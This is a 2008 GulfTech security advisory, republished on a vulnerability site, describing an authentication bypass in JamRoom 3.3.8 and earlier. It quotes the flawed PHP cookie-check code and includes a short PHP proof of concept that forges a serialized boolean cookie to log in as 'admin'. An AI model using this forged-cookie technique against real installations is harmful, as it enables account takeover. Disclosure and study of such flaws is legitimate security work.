JamRoom <= 3.3.8 Authentication Bypass

2008.08.02
Risk: High
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

########################################################## # GulfTech Security Research July 28, 2008 ########################################################## # Vendor : Talldude Networks, LLC # URL : http://www.jamroom.net/ # Version : Jamroom <= 3.3.8 # Risk : Authentication Bypass ########################################################## Description: Jamroom is a popular online social media cms used to host artist sites and create music communities. It is vulnerable to a flaw in datatype comparison that allows for an attacker to bypass the authentication process completely and gain access to any account with only a username. This vulnerability has been patched in the latest version of JamRoom and all users are encouraged to upgrade as soon as possible. Authentication Bypass: There is a serious flaw in the Jamroom authentication mechanism that allows for an attacker to completely bypass the authentication process with a specially crafted cookie. The vulnerable code in question can be found in /includes/jamroom-misc.inc.php @ lines 3667-3681 within the jrCookie() function list($user,$hash) = unserialize(stripslashes($_val)); $user = trim(genc('get',$user)); $req = "SELECT user_nickname, user_password FROM {$jamroom_db['user']} WHERE user_nickname = '". dbEscapeString($user) ."' LIMIT 1"; $_rt = dbQuery($req,'SINGLE'); if (strlen($_rt['user_password']) === 0) { return(false); } if (md5($_rt['user_password'] . $sect) == $hash) { print_r($rt); return($_rt); } The problem with the above code is that $_val is a user supplied value taken from $_COOKIE['JMU_Cookie']. Since the cookie data is serialized an attacker can specify data types such as boolean values, and bypass the password check, and authenticate with only a username. If the first byte of the password hash stored in the database is numerical then a boolean value of true can be used in place of an actual password, and if the first byte is a letter then a boolean value of false is required. <?php $data = array(); $user = 'admin'; // Target $data[0] = base64_encode(serialize($user)); $data[1] = (bool)0; echo "\n\n===[ 0 ] ========================\n\n"; echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data)); $data[1] = (bool)1; echo "\n\n===[ 1 ] ========================\n\n"; echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data)); ?> The above script is an example of how this works, and will create a cookie to login as the user admin. For more information check out the comparison operators section of the php manual. Specifically the "identical" operator. Solution: The JamRoom developers were very prompt in addressing this issue, and have released an updated version for download. All users are encouraged to upgrade their JamRoom installation as soon as possible. Credits: James Bercegay of the GulfTech Security Research Team Related Info: The original advisory can be found at the following location http://www.gulftech.org/?node=research&article_id=00117-07282008

References:

http://www.jamroom.net/phpBB2/viewtopic.php?t=24454
http://www.securityfocus.com/bid/30406
http://www.securityfocus.com/archive/1/archive/1/494820/100/0/threaded
http://www.jamroom.net/index.php?m=td_tracker&o=view&id=1178
http://www.gulftech.org/?node=research&article_id=00117-07282008
http://secunia.com/advisories/31249


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top